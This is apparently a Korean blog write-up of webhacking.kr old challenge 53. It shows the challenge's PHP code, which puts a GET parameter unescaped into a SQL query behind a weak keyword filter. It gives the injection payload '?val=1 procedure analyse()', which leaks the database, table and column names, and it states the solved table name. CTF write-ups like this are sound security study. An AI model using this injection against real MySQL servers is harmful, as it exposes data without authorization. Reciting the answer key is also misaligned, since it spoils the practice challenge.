[webhacking.kr] 53번 문제 풀이[Procedure analyse]
💡 Webhacking.kr challenge(old) 53번 문제에 대한 풀이입니다.
문제
<?php
$db = dbconnect();
include "./tablename.php";
if($_GET['answer'] == $hidden_table) solve(53);
if(preg_match("/select|by/i",$_GET['val'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select a from $hidden_table where a={$_GET['val']}"));
echo($result[0]);
?>
$hidden_table을 알아내는 문제입니다.
procedure analyse()
이번 문제는 procedure analyse() 함수를 이용하는 문제입니다. 저는 사전에 해당 함수를 알고 있었기 떄문에 바로 이용해서 풀었습니다. 하지만 해당 함수는 mysql 8.0버전이 되면서 사라졌기 때문에 제 로컬 db에서는 테스트를 못해봤습니다.
mysql 8.0이 2018년에 나왔으니 사라진지는 꽤 되었는데 문제가 오래되었다 보니 있는 문제 같습니다.
mysql의 버전에 대한 정보는 링크에서 읽어보시면 됩니다.
바로 문제를 풀어보겠습니다.
?val=1 procedure analyse()
차례대로 DB명.테이블명.컬럼명 이렇게 구성되어 출력됩니다.
따라서 테이블 명은 chall53_755fdeb36d873dfdeb2b34487d50a805
입니다.
댓글남기기